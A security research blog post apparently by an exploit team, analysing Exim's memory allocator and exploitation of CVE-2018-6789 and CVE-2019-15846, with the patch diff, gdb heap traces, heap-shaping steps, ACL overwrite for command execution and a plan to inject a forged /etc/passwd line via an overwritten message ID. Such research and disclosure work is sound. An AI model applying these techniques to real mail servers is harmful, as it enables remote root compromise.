Scraps of Notes on Exploiting Exim Vulnerabilities

Recently, Qualys published an advisory about a severe vulnerability impacting Exim MTA: CVE-2019-15846. In their report, they even claim that they do have a PoC granting a remote attacker root privileges. The report was followed by instant alarmist articles: "Millions of Exim servers vulnerable to ..."

Back in 2018, we quite successfully developped a PoC (that was never released) for another vulnerability (CVE-2018-6789) in Exim from the well detailed post published by Devcore. So, we decided to do the same with the newly disclosed vulnerability.

In this post, we present an overview on Exim internals from the exploitability point of view. We then present our notes on exploiting both vulnerabilities along with the PoC.

Exim Processes

Process Relationships

There are four main processes in Exim:

  • The daemon process listen for incoming SMTP connections. The daemon starts a new reception process per SMTP connection. The daemon is usually started with option -q

  • The reception process accepts an incoming message and stores it in the spool directory (/var/spool/exim/input). A message consists of two files: -H (message envelope) and -D (message body). The reception process initiates immediate delivery by spawning a new process unless instructed otherwise. If the option queue_only is enabled, messages are placed in the spool directory without any attempt to deliver it automatically.

  • The queue runner process iterates over message files in the spool directory and starts a delivery process for each of them.

  • The delivery process performs remote/local delivery of a single message. The delivery process runs as root which makes it an interesting target.

Exim Pool Allocator

Exim maintains several allocation pools. The POOL_PERM holds allocations that survive as long as the process exists. For instance, configuration options and ACLs are stored there. The POOL_MAIN holds dynamic allocations that can be freed. Finally, there is a separate pool, POOL_SEARCH, that is used for lookup storage.

A pool is a linked list of storeblock (see below) that are dynamically allocated. The minimum size of a storeblock is 0x2000. When Exim requests some amount of memory, it checks if there is enough room in the current block to fulfill that request. A new storeblock is allocated whenever there is not enough space left in the current block.

Exim allocator

Exim pools are managed through a set of routines defined in store_in.c:

  • store_malloc and store_free: wrappers for malloc and free, respectively.
  • store_get: returns a pointer within the current storeblock if there is enough space left in the current block. A new storeblock is allocated otherwise.
  • store_reset: sets the yield pointers to the store reset point and frees any subsequent storeblock. As we will see later, this function is useful from the exploitation perspective.
  • store_release: this function acts as a reallocation function.
  • store_extend: this function is helpful if the data to be extended is at the top of the storeblock. This avoids an extra allocation/copy.

Exim Heap-based Overflow Exploitation

Assuming, we have a heap-based overflow in Exim, one can rely on the technique used by @mehqq_'s blogpost in order to get code execution.

ACLs

ACLs (Access Control List) are defined in the configuration file and are used to control the behavior of Exim upon reception of some SMTP messages. For instance, one can define specific checks whenever a MAIL FROM command is received by setting accordingly acl_smtp_mail option. These options are expanded and commands defined by ${run{cmd}} are evaluated when encountered by Exim.

ACLs are defined as global pointers referencing data loaded into storeblock from the POOL_PERM. Overrinding the content of ACLs leads to immediate code execution.

From Heap-based Overflow to UAF

The goal here is to overlap the next pointer of an allocated storeblock and link it to the storeblock that contains ACLs. If later, the storeblock chain gets reset (by sending for instance a new HELO command), the block containing the ACL is freed and we can get it back by sending new commands.

This scenario requires five stages:

  1. Shape the heap so that we get two contiguous storeblock: the vulnerable storeblock (from which we overflow) and the target storeblock.

  2. Trigger overflow from the freshly freed chunk and corrupt the next pointer of an already allocated storeblock so that it points to the storeblock containing the ACLs. Please note that this requires a reasonable amount of brute forcing since both storeblock (hijacked storeblock and ACL storeblock) are located in the heap.

  3. Release the storeblock holding ACLs by sending a new HELO command: the whole storeblock chain is released.

  4. Get back the ACL storeblock by sending multiple AUTH commands for instance and override the acl_smtp_mail content.

  5. Trigger code execution by sending a MAIL_FROM command.

CVE-2018-6789

The bug was present in the b64decode function in base64.c. The base64 decoding function miscalculates the length of the buffer that will store the decoded data. This leads to an off-by-one heap-based overflow. From there, one can use the classic techniques to overlap a chunk by shrinking/extending its size (i.e. corrupting of the chunk size field).

We will not present here the full steps towards the exploitation of CVE-2018-6789 as they were explained in the original post by @mehqq_ and are well documented in the PoC listed hereafter.

We will simply cover some specificities of Exim that could be used to shape the heap to our needs. Our goal is to reach the heap state depicted by the following figure and prior to chunk size corruption.

  • The "working" space could be created by sending the sequence [undefined command + HELO command] twice. Unrecognized commands trigger storeblock allocation during error reporting while HELO commands reset the previously allocated storeblock chain. Note that Exim limits the number of unknown commands to three.

  • The top chunk is allocated using AUTH command.

Heap State - Before Off-By-One Overflow

Once the above state is reached, we trigger the overflow by sending an AUTH CRAM-MD5 command to enlarge the size of the chunk in the middle of our workspace. Then, we can force the middle chunk to be freed without restoring the whole storeblock chain by sending a HELO command followed by an invalid name (e.g. HELO a+). This allows to break early from the HELO command handling code and thus avoiding the call to smtp_reset.

Heap State - After Off-By-One Overflow

Finally, we send a new AUTH command larger than the previously freed chunk: the top chunk is overlapped.

From there, we can follow the steps 3-5 presented in the previous section to get code execution.

Exploit is available on our Github.

CVE-2019-15846

Understanding the vulnerability

Exim has been vulnerable to a heap-based overflow up until 4.92.1. CVE-2019-15846 has been reported by Zerons on 2019-07-21, analysed by Qualys and then disclosed on 2019-09-06.

This vulnerability is located in string_interpret_escape when it is called by string_unprinting. It has been fixed with this commit.

diff --git a/src/src/string.c b/src/src/string.c
index 5e48b445c..c6549bf93 100644
--- a/src/src/string.c
+++ b/src/src/string.c
@@ -224,6 +224,8 @@ interpreted in strings.
 Arguments:
   pp       points a pointer to the initiating "\" in the string;
            the pointer gets updated to point to the final character
+           If the backslash is the last character in the string, it
+           is not interpreted.
 Returns:   the value of the character escape
 */

@@ -236,6 +238,7 @@ const uschar *hex_digits= CUS"0123456789abcdef";
 int ch;
 const uschar *p = *pp;
 ch = *(++p);
+if (ch == '\0') return **pp;
 if (isdigit(ch) && ch != '8' && ch != '9')
   {
   ch -= '0';

As the name suggests string_interpret_escape aims at interpreting escape sequences. For example, \x62 will be converted to b.

string_unprinting uses that function in order to convert an input string into an unescaped output string. The output string is first allocated using the Exim memory allocator:

len = Ustrlen(s) + 1;
ss = store_get(len);

The vulnerability lies in the fact that string_unprinting will read input string until a NULL byte is found. When string_interpret_escape is called, it will move forward the buffer pointer but then string_unprinting will move it again. Thus, it will jump over the char following backslash which results in a copy beyond the limit of the output buffer.

while (*p)
  {
  if (*p == '\\')
    {
    *q++ = string_interpret_escape((const uschar **)&p);
    p++;
    }
 [...]
 }

The following figure illustrates the heap-based overflow:

CVE-2019-15846 overflow

Note that, the NULL byte is copied into the output buffer even if it's not used to stop processing the input buffer.

In order to exploit this vulnerability, the two buffers (input and output), must be aligned to ensure that there is no trailing NULL bytes in between except the NULL byte terminating the input buffer. More precisely, we have to take care about the store_get that aligns data in a storeblock on an 8-byte boundary.

Finally, both buffers must belong to the same storeblock to overflow with more than few bytes. Depending on the shape of the heap when string_unprinting is called, the input buffer can be quite limited in size.

Nevertheless, there is virtually no limit to the amount of data that can be overridden. The read pointer will read the data that have just been written. In order to avoid stopping at the first copy of the original NULL byte it is possible to prepend it with more backslashes. Thus any address after the output buffer can be reached.

Moreover, it is possible to override with NULL bytes by encoding them with \x00.

Exploitation

In order to exploit this vulnerability, Qualys stated that they used a specially crafted SNI with a trailing backslash. This SNI ends up in an Exim spool file written by the reception process of Exim and read by the delivery process. When the delivery process of Exim reads this spool file in spool_read_header, it calls the vulnerable function string_unprinting.

Each mail processed by Exim is attributed an ID. This ID is used in the spool file name, the logs, etc.

Qualys stated that they exploited the heap-based overflow to override a message ID that is used to build the log file name. The log file is populated at some point by the sender address. By overriding the message ID with "../../../../../../etc/passwd", they managed to add a new user to the targeted system.

We propose to give a deeper analysis of this path to the vulnerable function. As stated, spool_read_header is used to parse the spool header files of Exim. This header files are stored in /var/spool/exim4/input/. Each received mail will generate 2 spool files. Each are named after the message ID. The first one is appended with -D and contains the message body. The second one is appended with -H and contains various metadata including the SNI.

spool_read_header is called multiple times. The only path we found to be exploitable is when called in deliver_message. This path is reachable in two different processes exim -Mc and exim -q. The first one corresponds to direct message delivery at reception while the second one corresponds to a background task invoked by the queue runner process.

In order to exploit the vulnerability, we targeted the queue runner process. In this process, the message ID is stored in the heap, while on the delivery process run by exim -Mc the ID is on the stack.

Unfortunately, these two processes are clean fork+exec of the main Exim daemon and they have no other interaction than reading the spool files. Thus, shaping the heap isn't as easy as for CVE-2018-6789.

PoC

In order to reproduce the issue, it's possible to simply install a debian 9 (oldstable) with exim4 as found in the snapshot repository before the fix was released.

root@strech:~# cat /etc/apt/sources.list
deb     http://snapshot.debian.org/archive/debian/20190801T025637Z/ stretch main
deb-src http://snapshot.debian.org/archive/debian/20190801T025637Z/ stretch main

Note that since 2017, GNUTLS has added security check on SNI values. Thus, this vulnerability isn't exploitable anymore when Exim is linked against GNUTLS version > 3.6.0.

In order to easily test the exploitation, it is possible to simply create these two files and run the Exim queue runner manually.

cp 1i7Jgy-0002dD-Pb-D /var/spool/exim4/1i7Jgy-0002dD-Pb-D
cp 1i7Jgy-0002dD-Pb-H /var/spool/exim4/1i7Jgy-0002dD-Pb-H
/usr/sbin/exim4 -q

Then, by breaking on string_unprinting, it is possible to:

  • ensure the overflow can be triggered
  • get an idea of the shape of the heap at the time of the overflow
  • look for the message ID on the heap.
gdb --args /usr/sbin/exim4 -q
gef➤  set follow-fork-mode child
gef➤  b string_unprinting
Breakpoint 1 at 0x5600d5924540: file string.c, line 355.
gef➤  r
Thread 2.1 "exim4" hit Breakpoint 1, string_unprinting (s=0x562b1a097790 "abcdef\\") at string.c:355
gef➤  n
[... step until interesting stuff ...]
gef➤  p s
$1 = (uschar *) 0x562b1a097790 "abcdef\\"
gef➤  p len
$2 = 0x8
gef➤  p ss
$4 = (uschar *) 0x562b1a097798 ""
gef➤  heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x562b1a0975e0, size=0x2020, flags=PREV_INUSE)
    [0x0000562b1a0975e0     00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00    ......... ......]
Chunk(addr=0x562b1a099600, size=0x1010, flags=PREV_INUSE)
    [0x0000562b1a099600     31 69 37 4a 67 79 2d 30 30 30 32 64 44 2d 50 62    1i7Jgy-0002dD-Pb]
Chunk(addr=0x562b1a09a610, size=0x1fa00, flags=PREV_INUSE)  ←  top chunk

The input and output buffer are inside a chunk of 0x2020 bytes. The following chunk (0x1010) has been allocated by fgets while reading the header file. Nothing that can obviously be used to gain code execution.

Then it's possible to search for the message ID:

gef➤  grep 1i7Jgy-0002dD-Pb
[+] Searching '1i7Jgy-0002dD-Pb' in memory
[+] In (0x562b1a009000-0x562b1a00d000), permission=rw-
  0x562b1a00abb1 - 0x562b1a00abd6  →   "1i7Jgy-0002dD-Pb (queue run pid 2860)" 
  0x562b1a00ae92 - 0x562b1a00aea2  →   "1i7Jgy-0002dD-Pb" 
[+] In '[heap]'(0x562b1a05a000-0x562b1a0ba000), permission=rw-
  0x562b1a097609 - 0x562b1a097619  →   "1i7Jgy-0002dD-Pb" 
  0x562b1a097641 - 0x562b1a097653  →   "1i7Jgy-0002dD-Pb-H" 
  0x562b1a097663 - 0x562b1a097688  →   "1i7Jgy-0002dD-Pb (queue run pid 2860)" 
  0x562b1a0976a9 - 0x562b1a0976bb  →   "1i7Jgy-0002dD-Pb-D" 
  0x562b1a0976c0 - 0x562b1a0976d2  →   "1i7Jgy-0002dD-Pb-H" 
  0x562b1a0976f1 - 0x562b1a097703  →   "1i7Jgy-0002dD-Pb-H" 
  0x562b1a099600 - 0x562b1a099637  →   "1i7Jgy-0002dD-Pb-H\nDebian-exim 103 114\n<redacted[...]" 
  0x562b1a099c16 - 0x562b1a099c4d  →   "1i7Jgy-0002dD-Pb\n\tfor redacted@redacted.com; Mon[...]" 
  0x562b1a099c8d - 0x562b1a099cc4  →   "1i7Jgy-0002dD-Pb@redacted>\n022F From: redacted@re[...]" 
[+] In '[stack]'(0x7fff8da2e000-0x7fff8dab0000), permission=rw-
  0x7fff8da65ae9 - 0x7fff8da65afb  →   "1i7Jgy-0002dD-Pb-H" 
  0x7fff8da65bb0 - 0x7fff8da65bc2  →   "1i7Jgy-0002dD-Pb-H" 
  0x7fff8da65eb9 - 0x7fff8da65ecb  →   "1i7Jgy-0002dD-Pb-H" 

The only message ID that could be used to override a file is in the heap but not reachable during the overflow of the output buffer.

Finally, it's possible to ensure the overflow is working.

gef➤  fin
Run till exit from #0  string_unprinting (s=0x5600d6a60790 "abcdef\\") at string.c:366
gef➤  x/16bx 0x5600d6a60798
0x5600d6a60798: 0x61    0x62    0x63    0x64    0x65    0x66    0x00    0x61
0x5600d6a607a0: 0x62    0x63    0x64    0x65    0x66    0x00    0x00    0x00

We can see that the input string of 8 chars has been copied twice.

Shaping the heap

A detailed analysis of the state of the heap when the vulnerability is reached in the queue runner is required in order to find a viable exploitation.

The main idea to exploit the vulnerability is to shape the heap so that the two buffers (input and output) are allocated in a previously freed chunk. This way, the targeted message ID could be reachable during the buffer overflow. To do so the freed chunk must be at least STORE_BLOCK_SIZE 0x2000 which is the minimum size of the storeblock.

big_buffer is a buffer used to store temporarily lines of the spool files. big_buffer could be a good target. If it happens to be reallocated then a quite big chunk will be freed on the heap. Unfortunately, the mechanism in Exim to handle such a reallocation is bugged and doesn't free the old big_buffer.

  while (  (len = Ustrlen(big_buffer)) == big_buffer_size-1
    && big_buffer[len-1] != '\n'
    )
    {   /* buffer not big enough for line; certs make this possible */
    uschar * buf;
    if (big_buffer_size >= BIG_BUFFER_SIZE*4) goto SPOOL_READ_ERROR;
    buf = store_get_perm(big_buffer_size *= 2);
    memcpy(buf, big_buffer, --len);
    big_buffer = buf;
    if (Ufgets(big_buffer+len, big_buffer_size-len, f) == NULL)
      goto SPOOL_READ_ERROR;
    }

When the queue runner process walk over the spool files in queue_get_spool_list it uses readdir. readdir allocates an internal buffer resulting in a chunk of 0x8030. It is then freed when calling closedir. Fortunately, for each file queue_get_spool_list also requests 0x22 bytes from the current storeblock.

Consequently, if it is possible to force the allocation of a new storeblock by ensuring there is enough files in /var/spool/exim4/input/. Then a gap will be created in the heap.

The remaining space in the current_block[0] can be found in yield_length[0].

gef➤  b opendir
Breakpoint 1 at 0x55b87b85e468
gef➤  c
Continuing.
Breakpoint 1, 0x00007f81aebc49a0 in opendir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤  p yield_length[0]
$1 = 0x1ff0

Creating at least 205 spool files is enough to ensure a gap is created in our test scenario.

Moreover, the data that will be after the gap will precisely be the message ID used to create the log file.

gef➤  b closedir
Breakpoint 1 at 0x55dcb4d13898
gef➤  c
Continuing.
Breakpoint 1, 0x00007fb8affcc9f0 in closedir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤  fin
Run till exit from #0  0x00007fb8affcc9f0 in closedir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤  heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x55dcb6d6d5e0, size=0x2020, flags=PREV_INUSE)
    [0x000055dcb6d6d5e0     40 76 d7 b6 dc 55 00 00 00 20 00 00 00 00 00 00    @v...U... ......]
Chunk(addr=0x55dcb6d6f600, size=0x8040, flags=PREV_INUSE)
    [0x000055dcb6d6f600     58 2b 2b b0 b8 7f 00 00 58 2b 2b b0 b8 7f 00 00    X++.....X++.....]
Chunk(addr=0x55dcb6d77640, size=0x2020, flags=)
    [0x000055dcb6d77640     00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00    ......... ......]
Chunk(addr=0x55dcb6d79660, size=0x1e9b0, flags=PREV_INUSE)  ←  top chunk

In order to finalize the exploitation, it's required to ensure that the SNI is allocated in the gap. To do so, the current_block[0] must be filled with something, so that when allocating the SNI a new storeblock will be allocated.

Breaking in string_unprinting and computing the remaining space in current_block[0]:

gef➤  b string_unprinting
Breakpoint 1 at 0x55d401799540: file string.c, line 355.
gef➤  c
Continuing.
Thread 2.1 "exim4" hit Breakpoint 3, string_unprinting (s=0x55d4039d6990 'a' <repeats 3194 times>, "\\") at string.c:355
gef➤  p yield_length[0]
$1 = 0x1e68

There is a few allocations that are done before SNI, the most interesting being helo_name.

int
spool_read_header(uschar *name, BOOL read_headers, BOOL subdir_set)
{
[... skip uninteresting lines ...]
    else if (Ustrncmp(p, "elo_name", 8) == 0)
      sender_helo_name = string_copy(big_buffer + 11);

Filling current_block[0] is quite easy with helo_name. Nevertheless, the newly allocated storeblock must have either enough room to store both input and output SNI or not enough to store any of them. Thus choosing an helo_name greatly larger than default storeblock size, is a good solution.

Note that depending on which ID is targeted the queue runner might allocate multiple small buffer that will be placed before the helo_name.

/* Check that the message still exists */

message_subdir[0] = f->dir_uschar;
if (Ustat(spool_fname(US"input", message_subdir, f->text, US""), &statbuf) < 0)
  continue;

The goal is to get the following shaping:

CVE-2019-15846 heap shape

Here is a summary of the constraints on helo_name:

  • bigger than the remaining space in current_block[0]
  • smaller than the gap minus the size of the two SNI
  • store block containing the helo_name should be full in order to ensure both SNI are contiguous
  • ensure SNI are contiguous to top chunk so overflow doesn't override other data
  • smaller than 0x4000 due to a bug in big_buffer reallocation

Note that the exploitation of the vulnerability has to be valid for the message ID that is in the overriding chunk. Given that each loop in queue_run will change the heap, it's important to know when the overridden ID will be delivered. queue_get_spool_list will list spool files in a pseudo-random order if queue_run_in_order is not set. Then, the overriding ID will either be the first or the last to be delivered.

/* Handle the creation of a randomized list. The first item becomes both
the top and bottom of the list. Subsequent items are inserted either at
the top or the bottom, randomly. This is, I argue, faster than doing a
sort by allocating a random number to each item, and it also saves having
to store the number with each item. */

Choosing a correct length of helo_name gives the following shape of the heap:

gef➤  b closedir
Breakpoint 1 at 0x556862b9b898
gef➤  commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set $ID = ((char *)current_block[0]) + 0x19
>c
>end
gef➤  b queue.c:645 if (int)strcmp(f->text, $ID) == 0
Breakpoint 2 at 0x564f9a43418a: file queue.c, line 647.
gef➤  commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set follow-fork-mode child
>b string_unprinting
>c
>end
gef➤  c
Continuing.
Thread 2.1 "exim4" hit Breakpoint 1, string_unprinting (s=0x558589a70660 "abcdef\\") at string.c:355
gef➤  heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x55ee971d75e0, size=0x2020, flags=PREV_INUSE)
    [0x000055ee971d75e0     40 16 1e 97 ee 55 00 00 00 20 00 00 00 00 00 00    @....U... ......]
Chunk(addr=0x55ee971d9600, size=0x2020, flags=PREV_INUSE)
    [0x000055ee971d9600     30 c6 1d 97 ee 55 00 00 00 20 00 00 00 00 00 00    0....U... ......]
Chunk(addr=0x55ee971db620, size=0x1010, flags=PREV_INUSE)
    [0x000055ee971db620     62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62    bbbbbbbbbbbbbbbb]
Chunk(addr=0x55ee971dc630, size=0x2ff0, flags=PREV_INUSE)
    [0x000055ee971dc630     20 f6 1d 97 ee 55 00 00 d8 2f 00 00 00 00 00 00     ....U.../......]
Chunk(addr=0x55ee971df620, size=0x2020, flags=PREV_INUSE)
    [0x000055ee971df620     00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00    ......... ......]
Chunk(addr=0x55ee971e1640, size=0x2020, flags=PREV_INUSE)
    [0x000055ee971e1640     00 96 1d 97 ee 55 00 00 00 20 00 00 00 00 00 00    .....U... ......]
Chunk(addr=0x55ee971e3660, size=0x1e9b0, flags=PREV_INUSE)  ←  top chunk
gef➤ p current_block[0]
$1 = (storeblock *) 0x55ee971df620
gef➤  x/s 0x55ee971e1640 + 0x19
0x55ee971e1659: "16aJgy-baaaad-Pb"

Finally, the SNI has to be computed in order to fill the remaining free chunk and to override the message ID. All constraints and computations are available in exgen.py.

Unfortunately, overriding the message ID will also override the corresponding storeblock header. Consequently it will break the store_reset. In order to have a clean exploit this problem should be solved first.

Anyway, Exim will then write a log to a file named with the targeted id.

/* Open the message log file if we are using them. This records details of
deliveries, deferments, and failures for the benefit of the mail administrator.
The log is not used by Exim itself to track the progress of a message; that is
done by rewriting the header spool file. */

if (message_logs)
  {
  uschar * fname = spool_fname(US"msglog", message_subdir, id, US"");
  uschar * error;
  int fd;

  if ((fd = open_msglog_file(fname, SPOOL_MODE, &error)) < 0)
    {
    log_write(0, LOG_MAIN|LOG_PANIC, "Couldn't %s message log %s: %s", error,
      fname, strerror(errno));
    return continue_closedown();   /* yields DELIVER_NOT_ATTEMPTED */
    }

  /* Make a C stream out of it. */

  if (!(message_log = fdopen(fd, "a")))
    {
    log_write(0, LOG_MAIN|LOG_PANIC, "Couldn't fdopen message log %s: %s",
      fname, strerror(errno));
    return continue_closedown();   /* yields DELIVER_NOT_ATTEMPTED */
    }
  }

When the message has been successfuly delivered a log is written with the destination address in it.

  if (!addr->parent)
    deliver_msglog("%s %s: %s%s succeeded\n", now, addr->address,
      driver_name, driver_kind);
  else
    {
    deliver_msglog("%s %s <%s>: %s%s succeeded\n", now, addr->address,
      addr->parent->address, driver_name, driver_kind);
    child_done(addr, now);
    }

Here it's possible to forge a valid password line and thus to get an access to the host.

Finally, Exim will unlink or rename the log file after the mail has been delivered to all recipients. Thus, targeting /etc/passwd doesn't seems to be the best choice.

Ending Note

In this post we have seen the fundamentals of Exim that are required to successfully exploit a heap overflow. Then, we have shown how we could use them for two different vulnerabilities.

Moreover, the techniques used to exploit CVE-2018-6789 may apply to exploit the freshly disclosed heap-based overflow CVE-2019-16928 that is triggered by sending a long HELO command.

Our PoC are both available on our Github. Fill free to drop us an e-mail if you have used a different approach to exploit these vulnerabilities.